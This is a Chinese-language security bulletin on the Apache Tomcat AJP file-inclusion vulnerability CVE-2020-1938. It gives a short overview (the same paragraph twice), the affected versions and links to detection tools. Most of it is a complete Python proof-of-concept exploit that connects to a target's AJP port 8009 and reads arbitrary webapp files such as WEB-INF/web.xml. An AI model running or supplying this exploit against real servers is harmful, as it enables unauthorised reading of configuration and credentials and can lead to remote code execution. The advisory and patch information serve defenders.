Apache Tomcat 文件包含漏洞(CVE-2020-1938)

2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

一、漏洞概述

2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

Tomcat是Apache软件基金会中的一个重要项目,性能稳定且免费,是目前较为流行的Web应用服务器。由于Tomcat应用范围较广,因此本次通告的漏洞影响范围较大,请相关用户及时采取防护措施修复此漏洞。

参考链接:https://www.cnvd.org.cn/webinfo/show/5415

二、影响范围

受影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

不受影响版本

Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31

三、POC

CVE-2020-1938.PY

#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
  if s is None:
    return struct.pack(">h", -1)
  l = len(s)
  return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
  size = struct.calcsize(fmt)
  buf = stream.read(size)
  return struct.unpack(fmt, buf)
def unpack_string(stream):
  size, = unpack(stream, ">h")
  if size == -1: # null string
    return None
  res, = unpack(stream, "%ds" % size)
  stream.read(1) # \0
  return res
class NotFoundException(Exception):
  pass
class AjpBodyRequest(object):
  # server == web server, container == servlet
  SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
  MAX_REQUEST_LENGTH = 8186
  def __init__(self, data_stream, data_len, data_direction=None):
    self.data_stream = data_stream
    self.data_len = data_len
    self.data_direction = data_direction
  def serialize(self):
    data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
    if len(data) == 0:
      return struct.pack(">bbH", 0x12, 0x34, 0x00)
    else:
      res = struct.pack(">H", len(data))
      res += data
    if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
      header = struct.pack(">bbH", 0x12, 0x34, len(res))
    else:
      header = struct.pack(">bbH", 0x41, 0x42, len(res))
    return header + res
  def send_and_receive(self, socket, stream):
    while True:
      data = self.serialize()
      socket.send(data)
      r = AjpResponse.receive(stream)
      while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
        r = AjpResponse.receive(stream)

      if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
        break
class AjpForwardRequest(object):
  _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
  REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
  # server == web server, container == servlet
  SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
  COMMON_HEADERS = ["SC_REQ_ACCEPT",
    "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
    "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
    "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
  ]
  ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
  def __init__(self, data_direction=None):
    self.prefix_code = 0x02
    self.method = None
    self.protocol = None
    self.req_uri = None
    self.remote_addr = None
    self.remote_host = None
    self.server_name = None
    self.server_port = None
    self.is_ssl = None
    self.num_headers = None
    self.request_headers = None
    self.attributes = None
    self.data_direction = data_direction
  def pack_headers(self):
    self.num_headers = len(self.request_headers)
    res = ""
    res = struct.pack(">h", self.num_headers)
    for h_name in self.request_headers:
      if h_name.startswith("SC_REQ"):
        code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
        res += struct.pack("BB", 0xA0, code)
      else:
        res += pack_string(h_name)

      res += pack_string(self.request_headers[h_name])
    return res

  def pack_attributes(self):
    res = b""
    for attr in self.attributes:
      a_name = attr['name']
      code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
      res += struct.pack("b", code)
      if a_name == "req_attribute":
        aa_name, a_value = attr['value']
        res += pack_string(aa_name)
        res += pack_string(a_value)
      else:
        res += pack_string(attr['value'])
    res += struct.pack("B", 0xFF)
    return res
  def serialize(self):
    res = ""
    res = struct.pack("bb", self.prefix_code, self.method)
    res += pack_string(self.protocol)
    res += pack_string(self.req_uri)
    res += pack_string(self.remote_addr)
    res += pack_string(self.remote_host)
    res += pack_string(self.server_name)
    res += struct.pack(">h", self.server_port)
    res += struct.pack("?", self.is_ssl)
    res += self.pack_headers()
    res += self.pack_attributes()
    if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
      header = struct.pack(">bbh", 0x12, 0x34, len(res))
    else:
      header = struct.pack(">bbh", 0x41, 0x42, len(res))
    return header + res
  def parse(self, raw_packet):
    stream = StringIO(raw_packet)
    self.magic1, self.magic2, data_len = unpack(stream, "bbH")
    self.prefix_code, self.method = unpack(stream, "bb")
    self.protocol = unpack_string(stream)
    self.req_uri = unpack_string(stream)
    self.remote_addr = unpack_string(stream)
    self.remote_host = unpack_string(stream)
    self.server_name = unpack_string(stream)
    self.server_port = unpack(stream, ">h")
    self.is_ssl = unpack(stream, "?")
    self.num_headers, = unpack(stream, ">H")
    self.request_headers = {}
    for i in range(self.num_headers):
      code, = unpack(stream, ">H")
      if code > 0xA000:
        h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
      else:
        h_name = unpack(stream, "%ds" % code)
        stream.read(1) # \0
      h_value = unpack_string(stream)
      self.request_headers[h_name] = h_value
  def send_and_receive(self, socket, stream, save_cookies=False):
    res = []
    i = socket.sendall(self.serialize())
    if self.method == AjpForwardRequest.POST:
      return res

    r = AjpResponse.receive(stream)
    assert r.prefix_code == AjpResponse.SEND_HEADERS
    res.append(r)
    if save_cookies and 'Set-Cookie' in r.response_headers:
      self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

    # read body chunks and end response packets
    while True:
      r = AjpResponse.receive(stream)
      res.append(r)
      if r.prefix_code == AjpResponse.END_RESPONSE:
        break
      elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
        continue
      else:
        raise NotImplementedError
        break

    return res

class AjpResponse(object):
  _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
  COMMON_SEND_HEADERS = [
      "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
      "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
      ]
  def parse(self, stream):
    # read headers
    self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

    if self.prefix_code == AjpResponse.SEND_HEADERS:
      self.parse_send_headers(stream)
    elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
      self.parse_send_body_chunk(stream)
    elif self.prefix_code == AjpResponse.END_RESPONSE:
      self.parse_end_response(stream)
    elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
      self.parse_get_body_chunk(stream)
    else:
      raise NotImplementedError

  def parse_send_headers(self, stream):
    self.http_status_code, = unpack(stream, ">H")
    self.http_status_msg = unpack_string(stream)
    self.num_headers, = unpack(stream, ">H")
    self.response_headers = {}
    for i in range(self.num_headers):
      code, = unpack(stream, ">H")
      if code <= 0xA000: # custom header
        h_name, = unpack(stream, "%ds" % code)
        stream.read(1) # \0
        h_value = unpack_string(stream)
      else:
        h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
        h_value = unpack_string(stream)
      self.response_headers[h_name] = h_value

  def parse_send_body_chunk(self, stream):
    self.data_length, = unpack(stream, ">H")
    self.data = stream.read(self.data_length+1)

  def parse_end_response(self, stream):
    self.reuse, = unpack(stream, "b")

  def parse_get_body_chunk(self, stream):
    rlen, = unpack(stream, ">H")
    return rlen

  @staticmethod
  def receive(stream):
    r = AjpResponse()
    r.parse(stream)
    return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
  fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
  fr.method = method
  fr.protocol = "HTTP/1.1"
  fr.req_uri = req_uri
  fr.remote_addr = target_host
  fr.remote_host = None
  fr.server_name = target_host
  fr.server_port = 80
  fr.request_headers = {
    'SC_REQ_ACCEPT': 'text/html',
    'SC_REQ_CONNECTION': 'keep-alive',
    'SC_REQ_CONTENT_LENGTH': '0',
    'SC_REQ_HOST': target_host,
    'SC_REQ_USER_AGENT': 'Mozilla',
    'Accept-Encoding': 'gzip, deflate, sdch',
    'Accept-Language': 'en-US,en;q=0.5',
    'Upgrade-Insecure-Requests': '1',
    'Cache-Control': 'max-age=0'
  }
  fr.is_ssl = False
  fr.attributes = []
  return fr

class Tomcat(object):
  def __init__(self, target_host, target_port):
    self.target_host = target_host
    self.target_port = target_port

    self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    self.socket.connect((target_host, target_port))
    self.stream = self.socket.makefile("rb", bufsize=0)

  def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
    self.req_uri = req_uri
    self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
    print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
    if user is not None and password is not None:
      self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
    for h in headers:
      self.forward_request.request_headers[h] = headers[h]
    for a in attributes:
      self.forward_request.attributes.append(a)
    responses = self.forward_request.send_and_receive(self.socket, self.stream)
    if len(responses) == 0:
      return None, None
    snd_hdrs_res = responses[0]
    data_res = responses[1:-1]
    if len(data_res) == 0:
      print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
    return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

在线检测:https://www.chaitin.cn/zh/ghostcat

批量检测工具:https://github.com/chaitin/xray/releases

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